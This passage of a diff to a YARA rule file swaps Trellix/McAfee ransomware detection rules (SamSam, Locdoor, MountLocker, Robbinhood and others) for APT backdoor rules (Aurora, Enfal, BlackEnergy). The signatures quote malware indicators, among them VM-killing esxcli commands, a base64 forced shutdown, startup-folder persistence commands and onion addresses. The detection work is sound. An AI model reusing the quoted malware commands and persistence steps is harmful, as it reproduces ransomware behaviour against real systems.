"77a3809df4c7c591a855aaecd702af62935952937bb81661aa7f68e64dcf4fb4" + logic_hash = "8a425ababdfbe95bd8ac7d4f519be16c0f1fd0b7eea2874124db2f00dd6eb56d" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" - Rule_Version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:Linux/HelloKitty" - hash1 = "ca607e431062ee49a21d69d722750e5edbd8ffabcb54fa92b231814101756041" - hash2 = "556e5cb5e4e77678110961c8d9260a726a363e00bf8d278e5302cb4bfccc3eed" - - strings: - $v1 = "esxcli vm process kill -t=force -w=%d" fullword ascii - $v2 = "esxcli vm process kill -t=hard -w=%d" fullword ascii - $v3 = "esxcli vm process kill -t=soft -w=%d" fullword ascii - $v4 = "error encrypt: %s rename back:%s" fullword ascii - $v5 = "esxcli vm process list" fullword ascii - $v6 = "Total VM run on host:" fullword ascii - $v7 = "error lock_exclusively:%s owner pid:%d" fullword ascii - $v8 = "Error open %s in try_lock_exclusively" fullword ascii - $v9 = "Mode:%d Verbose:%d Daemon:%d AESNI:%d RDRAND:%d " fullword ascii - $v10 = "pthread_cond_signal() error" fullword ascii - $v11 = "ChaCha20 for x86_64, CRYPTOGAMS by <appro@openssl.org>" fullword ascii - - condition: - ( uint16( 0 ) == 0x457f and filesize < 200KB and ( 8 of them ) ) or ( all of them ) -} -rule TRELLIX_ARC_Amba_Ransomware : RANSOMWARE FILE -{ - meta: - description = "Rule to detect Amba Ransomware" - author = "Marc Rivero | McAfee ATR Team" - id = "961f2892-e462-55e4-bd96-7dff895cb1e6" - date = "2017-07-03" - modified = "2020-08-14" - reference = "https://www.enigmasoftware.com/ambaransomware-removal/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_amba.yar#L1-L41" - license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "b9b6045a45dd22fcaf2fc13d39eba46180d489cb4eb152c87568c2404aecac2f" - logic_hash = "0830ab49956711d3e6ad64785edcf54146a24756c4ab66384305dc18091867bd" - score = 75 - quality = 68 - tags = "RANSOMWARE, FILE" - rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Amba" - actor_type = "Cybercrime" - actor_group = "Unknown" - - strings: - $s1 = "64DCRYPT.SYS" fullword wide - $s2 = "32DCRYPT.SYS" fullword wide - $s3 = "64DCINST.EXE" fullword wide - $s4 = "32DCINST.EXE" fullword wide - $s5 = "32DCCON.EXE" fullword wide - $s6 = "64DCCON.EXE" fullword wide - $s8 = "32DCAPI.DLL" fullword wide - $s9 = "64DCAPI.DLL" fullword wide - $s10 = "ICYgc2h1dGRvd24gL2YgL3IgL3QgMA==" fullword ascii - $s11 = "QzpcVXNlcnNcQUJDRFxuZXRwYXNzLnR4dA==" fullword ascii - $s12 = ")!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v))!pssx}v!pssx}v)" fullword ascii - $s13 = "RGVmcmFnbWVudFNlcnZpY2U=" - $s14 = "LWVuY3J5cHQgcHQ5IC1wIA==" - $s15 = "LWVuY3J5cHQgcHQ3IC1wIA==" - $s16 = "LWVuY3J5cHQgcHQ2IC1wIA==" - $s17 = "LWVuY3J5cHQgcHQzIC1wIA==" - - condition: - ( uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( 8 of them ) ) or ( all of them ) -} -rule TRELLIX_ARC_RANSOM_Mountlocker : RANSOMWARE FILE -{ - meta: - description = "Rule to detect Mount Locker ransomware" - author = "McAfee ATR Team" - id = "8451b78c-3cef-557a-a2e3-0767a0b0eddb" - date = "2020-09-25" - modified = "2020-10-12" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_mountlocker.yar#L1-L32" - license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "fb332a6725b9276cca379dd3621943c69f88570fb317da27a857a2544d2aa4e0" - score = 75 - quality = 64 - tags = "RANSOMWARE, FILE" - rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransomware:W32/MountLocker" - actor_type = "Cybercrime" - actor_group = "Unknown" - hash1 = "4b917b60f4df6d6d08e895d179a22dcb7c38c6a6a6f39c96c3ded10368d86273" - hash2 = "f570d5b17671e6f3e56eae6ad87be3a6bbfac46c677e478618afd9f59bf35963" - - strings: - $s1 = {63 69 64 3d 25 43 4c 49 45 4e 54 5f 49 44} - $s2 = {7a 73 61 33 77 78 76 62 62 37 67 76 36 35 77 6e 6c 37 6c 65 72 73 6c 65 65 33 63 37 69 32 37 6e 64 71 67 68 71 6d 36 6a 74 32 70 72 69 76 61 32 71 63 64 70 6f 6e 61 64 2e 6f 6e 69 6f 6e} - $s3 = {36 6d 6c 7a 61 68 6b 63 37 76 65 6a 79 74 70 70 62 71 68 71 6a 6f 75 34 69 70 66 74 67 73 33 67 69 7a 6f 66 32 78 34 7a 6b 6c 62 6c 6c 69 61 79 68 73 71 62 33 77 61 64 2e 6f 6e 69 6f 6e} - - condition: - uint16( 0 ) == 0x5a4d and filesize < 300KB and ( $s1 and $s2 ) or ( $s1 and $s3 ) or $s1 -} -rule TRELLIX_ARC_Termite_Ransomware : RANSOMWARE FILE -{ - meta: - description = "Rule to detect the Termite Ransomware" - author = "McAfee ATR Team" - id = "521ec8ee-a54c-57c3-9437-a2ef7f8ed4ca" - date = "2018-08-28" - modified = "2020-10-12" - reference = "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_termite.yar#L1-L32" - license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "021ca4692d3a721af510f294326a31780d6f8fcd9be2046d1c2a0902a7d58133" - logic_hash = "e5c01e8377957fa25cf6c2031c2680e802b0082a36f50b97b4e488c5bf40e968" - score = 75 - quality = 20 - tags = "RANSOMWARE, FILE" - rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Termite" - actor_type = "Cybercrime" - actor_group = "Unknown" - - strings: - $s1 = "C:\\Windows\\SysNative\\mswsock.dll" fullword ascii - $s2 = "C:\\Windows\\SysWOW64\\mswsock.dll" fullword ascii - $s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Termite.exe" fullword ascii - $s4 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Payment.exe" fullword ascii - $s5 = "C:\\Windows\\Termite.exe" fullword ascii - $s6 = "\\Shell\\Open\\Command\\" fullword ascii - $s7 = "t314.520@qq.com" fullword ascii - $s8 = "(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG" fullword ascii - - condition: - ( uint16( 0 ) == 0x5a4d and filesize < 6000KB ) and all of them -} -rule TRELLIX_ARC_MALW_Thiefquest : KEYLOGGER BACKDOOR RANSOMWARE FILE -{ - meta: - description = "Rule to detect the Evilquest/ThiefQuest malware" - author = "McAfee ATR Team" - id = "09b074f7-6899-574d-a7d6-4414509aaa78" - date = "2020-07-09" - modified = "2020-10-12" - reference = "https://www.bleepingcomputer.com/news/security/thiefquest-ransomware-is-a-file-stealing-mac-wiper-in-disguise/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_thiefquest.yar#L1-L46" - license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "5a024ffabefa6082031dccdb1e74a7fec9f60f257cd0b1ab0f698ba2a5baca6b" - logic_hash = "d40a466b12188d545d3fbe2c9d7e3685dde1250ae1f25df2a72cdf93c470ae25" - score = 75 - quality = 68 - tags = "KEYLOGGER, BACKDOOR, RANSOMWARE, FILE" - rule_version = "v1" - malware_type = "keylogger, backdoor, ransomware" - actor_type = "Cybercrime" - malware_family = "Ransom:OSX/ThiefQuest" - - strings: - $pattern_0 = { 01c1 48 83c102 48 } - $pattern_1 = { 8c1471 80c1c1 98 1c8c } - $pattern_2 = { d8974f0dc89a 9f c9 9adf70cd595390 } - $pattern_3 = { d897c56f028c 2393a0a42e92 8ea2c27affc2 f8 } - $pattern_4 = { 477006 baa6a1cb82 ae f9 e8???????? d8a32bd0d519 } - $pattern_5 = { d898ab5c757b 2f f26f 5d } - $pattern_6 = { bc007a846b 2b54adaf 93 35eddf38e6 cdd0 b246 } - $pattern_7 = { ae 49b00e 01d1 45da611b 44839db656691674 } - $pattern_8 = { 01c1 48 83c101 48 } - $pattern_9 = { 6be3c6 5c 99 ae ed bf370e2f47 } - $pattern_10 = { fd d7 43bd18fd6f06 7937 fa } - $pattern_11 = { 01c2 48 83c201 bf01000000 } - $pattern_12 = { d89825ed4469 29f1 5c e12d } - $pattern_13 = { d8992062f7f9 73ff 90 085fc6 } - $pattern_14 = { 01c1 6689ca 668995cefeffff e9???????? } - $pattern_15 = { 01c1 41 89c8 44 } - $pattern_16 = { d89935c487a7 bcdffa587c be6cadbb3c 185fc4 } - $pattern_17 = { 01c1 48 8b75a8 48 } - $pattern_18 = { 0000 48 8945f8 e9???????? } - $pattern_19 = { d89959d6472d a2???????? 3525c7eec9 95 } - $pattern_20 = { 01c2 48 83c203 bf01000000 } - $pattern_21 = { 4a7888 ab 23e7 cf 11f3 } - $pattern_22 = { d8982fbf222d 49 92 1d25b42bba } - $pattern_23 = { e2d7 8437 6b4696d9 92 9d a6 } - - condition: - 7 of them and filesize < 124322606 -} -rule TRELLIX_ARC_Shrug2_Ransomware : RANSOMWARE FILE -{ - meta: - description = "Rule to detect the Shrug Ransomware" - author = "McAfee ATR Team" - id = "34e59296-db7c-551b-8d48-ffea20f2b4bb" - date = "2018-07-12" - modified = "2020-10-12" - reference = "https://blogs.quickheal.com/new-net-ransomware-shrug2/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_shrug2.yar#L1-L30" - license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "c89833833885bafdcfa1c6ee84d7dbcf2389b85d7282a6d5747da22138bd5c59" - logic_hash = "8c817b7fc4a0eada08b3d298c94b99a85c4e5a49a49d1c3fabdb0c6bbf56676b" - score = 75 - quality = 20 - tags = "RANSOMWARE, FILE" + tags = "ROOTKIT, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Shrug" + malware_type = "rootkit" + malware_family = "Rootkit:W32/Hikit" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "C:\\Users\\Gamer\\Desktop\\Shrug2\\ShrugTwo\\ShrugTwo\\obj\\Debug\\ShrugTwo.pdb" fullword ascii - $s2 = "http://tempacc11vl.000webhostapp.com/" fullword wide - $s3 = "Shortcut for @ShrugDecryptor@.exe" fullword wide - $s4 = "C:\\Users\\" fullword wide - $s5 = "http://clients3.google.com/generate_204" fullword wide - $s6 = "\\Desktop\\@ShrugDecryptor@.lnk" fullword wide + $pdb = "\\JmVodServer\\hikit\\bin32\\RServer.pdb" + $pdb1 = "\\JmVodServer\\hikit\\bin32\\w7fw.pdb" + $pdb2 = "\\JmVodServer\\hikit\\bin32\\w7fw_2k.pdb" + $pdb3 = "\\JmVodServer\\hikit\\bin64\\w7fw_x64.pdb" condition: - ( uint16( 0 ) == 0x5a4d and filesize < 2000KB ) and all of them + uint16( 0 ) == 0x5a4d and filesize < 100KB and any of them } -rule TRELLIX_ARC_Locdoor_Ransomware : RANSOMWARE FILE +rule TRELLIX_ARC_Apt_Aurora_Pdb_Samples : BACKDOOR FILE { meta: - description = "Rule to detect Locdoor/DryCry" + description = "Aurora APT Malware 2006-2010" author = "Marc Rivero | McAfee ATR Team" - id = "d855d7fd-a1e3-561e-906e-103752285b0f" - date = "2018-09-02" + id = "51b080b7-671b-592b-ba52-7fdd0ddf0294" + date = "2010-01-11" modified = "2020-08-14" - reference = "https://twitter.com/leotpsc/status/1036180615744376832" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_locdoor.yar#L1-L32" + reference = "https://en.wikipedia.org/wiki/Operation_Aurora" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_operation_aurora.yar#L1-L26" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "0000c55f7cdbbad9bacba0e79637696f3bfeb95a5f71dfa0b398bc77a207eb41" - logic_hash = "c9519279a929feedae2bab58cd0de91f6c447827fa59afa927726fde84d21e1c" + hash = "ce7debbcf1ca3a390083fe5753f231e632017ca041dfa662ad56095a500f2364" + logic_hash = "5791ae7b96f2b59d0cca1ab97455bb4745edad8980ac4aff22aa36e0bc4f240e" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Locdoor" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Aurora" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "copy \"Locdoor.exe\" \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\temp00000000.exe\"" fullword ascii - $s2 = "copy wscript.vbs C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\wscript.vbs" fullword ascii - $s3 = "!! Your computer's important files have been encrypted! Your computer's important files have been encrypted!" fullword ascii - $s4 = "echo CreateObject(\"SAPI.SpVoice\").Speak \"Your computer's important files have been encrypted! " fullword ascii - $s5 = "! Your computer's important files have been encrypted! " fullword ascii - $s7 = "This program is not supported on your operating system." fullword ascii - $s8 = "echo Your computer's files have been encrypted to Locdoor Ransomware! To make a recovery go to localbitcoins.com and create a wa" ascii - $s9 = "Please enter the password." fullword ascii + $pdb = "\\AuroraVNC\\VedioDriver\\Release\\VedioDriver.pdb" + $pdb1 = "\\Aurora_Src\\AuroraVNC\\Avc\\Release\\AVC.pdb" condition: - ( uint16( 0 ) == 0x5a4d and filesize < 600KB ) and all of them + uint16( 0 ) == 0x5a4d and filesize < 150KB and any of them } - -rule TRELLIX_ARC_Samsamransom2016 : RANSOMWARE FILE +rule TRELLIX_ARC_Enfal_Pdb : BACKDOOR FILE { meta: - description = "No description has been set in the source file - Trellix ARC" - author = "Christiaan Beek | McAfee ATR Team" - id = "1c7985d0-d01c-52f7-8819-e038ccc01212" - date = "2018-01-25" + description = "Rule to detect Enfal malware" + author = "Marc Rivero | McAfee ATR Team" + id = "09b9667c-cf58-5438-958d-19a99fe91e32" + date = "2013-08-27" modified = "2020-08-14" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_SamSam.yar#L3-L52" + reference = "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/enfal" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/enfal_pdb.yar#L1-L29" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "9e8034ec0ded82ad82b625d6d1b9918761decef0fd42a253722cdc620b355e1a" + hash = "6756808313359cbd7c50cd779f809bc9e2d83c08da90dbd80f5157936673d0bf" + logic_hash = "1f7785a4c54981c3e7cb417718312e0ed82132b9bd9288f7b0f322cbeafbaecd" score = 75 - quality = 68 - tags = "RANSOMWARE, FILE" + quality = 70 + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/SamSam" - actor_type = "Cybercrime" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Enfal" + actor_type = "Apt" actor_group = "Unknown" - hash1 = "45e00fe90c8aa8578fce2b305840e368d62578c77e352974da6b8f8bc895d75b" strings: - $x1 = "Could not list processes locking resource. Failed to get size of result." fullword wide - $s2 = "Could not list processes locking resource." fullword wide - $s3 = "samsam.del.exe" fullword ascii - $s4 = "samsam.exe" fullword wide - $s5 = "RM_UNIQUE_PROCESS" fullword ascii - $s6 = "KillProcessWithWait" fullword ascii - $s7 = "killOpenedProcessTree" fullword ascii - $s8 = "RM_PROCESS_INFO" fullword ascii - $s9 = "Exception caught in process: {0}" fullword wide - $s10 = "Could not begin restart session. Unable to determine file locker." fullword wide - $s11 = "samsam.Properties.Resources.resources" fullword ascii - $s12 = "EncryptStringToBytes" fullword ascii - $s13 = "recursivegetfiles" fullword ascii - $s14 = "RSAEncryptBytes" fullword ascii - $s15 = "encryptFile" fullword ascii - $s16 = "samsam.Properties.Resources" fullword wide - $s17 = "TSSessionId" fullword ascii - $s18 = "Could not register resource." fullword wide - $s19 = "<recursivegetfiles>b__0" fullword ascii - $s20 = "create_from_resource" fullword ascii - $op0 = { 96 00 e0 00 29 00 0b 00 34 23 } - $op1 = { 96 00 12 04 f9 00 34 00 6c 2c } - $op2 = { 72 a5 0a 00 70 a2 06 20 94 } + $pdb = "\\Documents and Settings\\Administrator\\My Documents\\Work\\EtenFalcon\\Release\\DllServiceTrojan.pdb" + $pdb1 = "\\Documents and Settings\\Administrator\\My Documents\\Work\\EtenFalcon\\Release\\ServiceDll.pdb" + $pdb2 = "\\Release\\ServiceDll.pdb" + $pdb3 = "\\muma\\0511\\Release\\ServiceDll.pdb" + $pdb4 = "\\programs\\LuridDownLoader\\LuridDownloader for Falcon\\ServiceDll\\Release\\ServiceDll.pdb" condition: - ( uint16( 0 ) == 0x5a4d and filesize < 700KB and pe.imphash ( ) == "f34d5f2d4577ed6d9ceec516c1f5a744" and ( 1 of ( $x* ) and 4 of them ) and all of ( $op* ) ) or ( all of them ) + uint16( 0 ) == 0x5a4d and filesize < 150KB and any of them } - -rule TRELLIX_ARC_Samsam_Ransomware_Latest : RANSOMWARE FILE +rule TRELLIX_ARC_Apt_Blackenergy_Pdb : TROJAN FILE { meta: - description = "Latest SamSA ransomware samples" - author = "Christiaan Beek" - id = "716b9282-013e-5194-8518-2fa1a4007095" - date = "2018-01-23" + description = "Rule to detect the BlackEnergy trojan" + author = "Marc Rivero | McAfee ATR Team" + id = "55c96b66-a8bf-5390-a75a-f3d2441c2a55" + date = "2013-02-15" modified = "2020-08-14" - reference = "http://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_SamSam.yar#L54-L105" + reference = "https://www.kaspersky.com.au/resource-center/threats/blackenergy" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_blackenergy_pdb.yar#L1-L38" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "88e344977bf6451e15fe202d65471a5f75d22370050fe6ba4dfa2c2d0fae7828" - logic_hash = "06703479795fdef64813471f11b275df544c90d5bcece4817d415cd504d7b317" - score = 50 - quality = 68 - tags = "RANSOMWARE, FILE" + hash = "4b2efcda5269f4b80dc417a2b01332185f2fafabd8ba7114fa0306baaab5a72d" + logic_hash = "7bb85d03d8f2a4d91554f7fea96e9bbe36b153cfa4a91fd13fb99d41d430c9e9" + score = 75 + quality = 70 + tags = "TROJAN, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/SamSam" + malware_type = "trojan" + malware_family = "Trojan:W32/BlackEngergy" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "bedf08175d319a2f879fe720032d11e5" fullword wide - $s2 = "ksdghksdghkddgdfgdfgfd" fullword ascii - $s3 = "osieyrgvbsgnhkflkstesadfakdhaksjfgyjqqwgjrwgehjgfdjgdffg" fullword ascii - $s4 = "5c2d376c976669efaf9cb107f5a83d0c" fullword wide - $s5 = "B917754BCFE717EB4F7CE04A5B11A6351EEC5015" fullword ascii - $s6 = "f99e47c1d4ccb2b103f5f730f8eb598a" fullword wide - $s7 = "d2db284217a6e5596913e2e1a5b2672f" fullword wide - $s8 = "0bddb8acd38f6da118f47243af48d8af" fullword wide - $s9 = "f73623dcb4f62b0e5b9b4d83e1ee4323" fullword wide - $s10 = "916ab48e32e904b8e1b87b7e3ced6d55" fullword wide - $s11 = "c6e61622dc51e17195e4df6e359218a2" fullword wide - $s12 = "2a9e8d549af13031f6bf7807242ce27f" fullword wide - $s13 = "e3208957ad76d2f2e249276410744b29" fullword wide - $s14 = "b4d28bbd65da97431f494dd7741bee70" fullword wide - $s15 = "81ee346489c272f456f2b17d96365c34" fullword wide - $s16 = "94682debc6f156b7e90e0d6dc772734d" fullword wide - $s17 = "6943e17a989f11af750ea0441a713b89" fullword wide - $s18 = "b1c7e24b315ff9c73a9a89afac5286be" fullword wide - $s19 = "90928fd1250435589cc0150849bc0cff" fullword wide - $s20 = "67da807268764a7badc4904df351932e" fullword wide - $op0 = { 30 01 00 2b 68 79 33 38 68 34 77 65 36 34 74 72 } - $op1 = { 01 00 b2 04 00 00 01 00 84 } - $op2 = { 68 09 00 00 38 66 00 00 23 55 53 00 a0 6f 00 00 } + $s1 = "msiexec.exe /i \"%s\" %s REBOOT=\"ReallySuppress\"" fullword wide + $s2 = "InstallUpdate: CreateProcess failed, Cmdline=%s Error=%d ." fullword wide + $s3 = "Portuguese=Instalando o Tempo de Execu" fullword wide + $s4 = "Initialization: Failed to initialize - Unable to get Upgrade Code." fullword wide + $s5 = "This version of Internet Explorer is not supported. You should upgrade Internet Explorer to version %s and run setup again. Se" wide + $s6 = "Initialization: Failed to open %s file, Make sure the file is not used by another process." fullword wide + $s7 = "o %s e execute a configura" fullword wide + $s8 = "Initialization: Failed to initialize - Unable to get Product Version." fullword wide + $s9 = "f:\\CB\\11X_Security\\Acrobat\\Installers\\BootStrapExe_Small\\Release\\Setup.pdb" fullword ascii + $s10 = "BootStrap.log" fullword wide + $s11 = "ACDownloaderDlg" fullword ascii + $s12 = "Initialization: Failed to initialize Product - msi key not specified." fullword wide + $s13 = "rio atualizar para o Service Pack %s e executar a instala" fullword wide + $s14 = "\\Msi.dll" fullword wide condition: - ( uint16( 0 ) == 0x5a4d and filesize < 100KB and pe.imphash ( ) == "f34d5f2d4577ed6d9ceec516c1f5a744" and ( 8 of them ) and all of ( $op* ) ) or ( all of them ) + uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them } -rule TRELLIX_ARC_Screenlocker_Acroware : RANSOMWARE FILE +rule TRELLIX_ARC_Apt_Gdocupload_Glooxmail : BACKDOOR FILE { meta: - description = "Rule to detect the ScreenLocker Acroware" + description = "Rule to detect gdocupload tool used by APT1" author = "Marc Rivero | McAfee ATR Team" - id = "76eb69eb-dfe7-5629-bf2d-d20574efd662" - date = "2018-08-28" + id = "deb20196-65e6-5dac-af0c-2f16e5926715" + date = "2013-02-19" modified = "2020-08-14" - reference = "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_acroware.yar#L1-L29" + reference = "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_gdocupload_pdb.yar#L1-L32" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "f9efcfc5328e6502cbbbff752a940ac221e437d8732052fc265618f6a6ad72ae" - logic_hash = "582f3544cf1f8066b1e9ac04c3a4cc9f0ba96804ca53bc3746b433df9c33e0a1" + hash = "295c5c7aa5fa29628dec9f42ed657fce0bc789079c4e51932bcbc99a28dfd440" + logic_hash = "e016bb636af22fae79875bebaf1b4bd4f2a403e797d7ee52ea0691b4d7a54cf8" score = 75 - quality = 70 - tags = "RANSOMWARE, FILE" + quality = 45 + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Acroware" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Gdocupload" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "C:\\Users\\patri\\Documents\\Visual Studio 2015\\Projects\\Advanced Ransi\\Advanced Ransi\\obj\\Debug\\Advanced Ransi.pdb" fullword ascii - $s2 = "All your Personal Data got encrypted and the decryption key is stored on a hidden" fullword ascii - $s3 = "alphaoil@mail2tor.com any try of removing this Ransomware will result in an instantly " fullword ascii - $s4 = "HKEY_CURRENT_USER\\SoftwareE\\Microsoft\\Windows\\CurrentVersion\\Run" fullword wide - $s5 = "webserver, after 72 hours thedecryption key will get removed and your personal" fullword ascii + $s1 = "https://www.google.com/accounts/ServiceLogin?service=writely&passive=1209600&continue=http://docs.google.com/&followup=http://do" ascii + $s2 = "Referer: http://sn114w.snt114.mail.live.com/mail/AttachmentUploader.aspx?_ec=1" fullword ascii + $s3 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET " ascii + $s4 = "e:\\Project\\mm\\Webmail\\Bin\\gdocs.pdb" fullword ascii + $s5 = "http://docs.google.com/?auth=" fullword ascii + $s6 = "x-guploader-client-info: mechanism=scotty flash; clientVersion=18067216" fullword ascii + $s7 = "http://docs.google.com/" fullword ascii + $s8 = "Referer: http://sn114w.snt114.mail.live.com/mail/EditMessageLight.aspx?n=%s" fullword ascii condition: - ( uint16( 0 ) == 0x5a4d and filesize < 2000KB ) and all of them + uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them } -rule TRELLIX_ARC_Robbinhood_Ransomware : RANSOMWARE FILE +rule TRELLIX_ARC_Ixeshe_Bled_Malware_Pdb : BACKDOOR FILE { meta: - description = "Robbinhood GoLang ransowmare" - author = "Christiaan Beek | McAfee ATR" - id = "b2654d00-330e-511e-b8f1-75aa7b57d040" - date = "2019-05-10" + description = "Rule to detect Ixeshe_bled malware based on PDB" + author = "Marc Rivero | McAfee ATR Team" + id = "93356eab-5bb3-5b85-acc6-9a247554aa2d" + date = "2012-05-30" modified = "2020-08-14" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_RobbinHood.yar#L1-L37" + reference = "https://attack.mitre.org/software/S0015/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/ixeshe_bled_pdb.yar#L1-L24" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "9977ba861016edef0c3fb38517a8a68dbf7d3c17de07266cfa515b750b0d249e" - logic_hash = "19a1b7d92bc49dee6da3fb4c053b118e6475aeca43e891d46470c2c09c148038" + hash = "d1be51ef9a873de85fb566d157b034234377a4a1f24dfaf670e6b94b29f35482" + logic_hash = "7d2ce7644e25a56c101c148a32f7b0f7c3185c0c17f4d65eaef257f6ac7f8ffb" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Robbinhood" - actor_type = "Cybercrime" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Ixeshe" + actor_type = "Apt" actor_group = "Unknown" strings: - $s1 = ".enc_robbinhood" nocase - $s2 = "sc.exe stop SQLAgent$SQLEXPRESS" nocase - $s3 = "pub.key" nocase - $s4 = "main.EnableShadowFucks" nocase - $s5 = "main.EnableRecoveryFCK" nocase - $s6 = "main.EnableLogLaunders" nocase - $s7 = "main.EnableServiceFuck" nocase - $op0 = { 8d 05 2d 98 51 00 89 44 24 30 c7 44 24 34 1d } - $op1 = { 8b 5f 10 01 c3 8b 47 04 81 c3 b5 bc b0 34 8b 4f } - $op2 = { 0f b6 34 18 8d 7e d0 97 80 f8 09 97 77 39 81 fd } + $pdb = "\\code\\Blade2009.6.30\\Blade2009.6.30\\EdgeEXE_20003OC\\Debug\\EdgeEXE.pdb" condition: - ( uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( 1 of ( $s* ) ) and all of ( $op* ) ) or ( all of them ) + uint16( 0 ) == 0x5a4d and filesize < 200KB and any of them } -rule TRELLIX_ARC_Wannaren_Ransomware : RANSOMWARE FILE +rule TRELLIX_ARC_Apt_Flamer_Pdb : BACKDOOR FILE { meta: - description = "Rule to detect WannaRen Ransomware" - author = "McAfee ATR Team" - id = "f4f30d12-547d-5044-a4e5-b88bf359480f" - date = "2020-04-25" - modified = "2020-10-12" - reference = "https://blog.360totalsecurity.com/en/attention-you-may-have-become-a-susceptible-group-of-wannaren-ransomware/" - source_url = 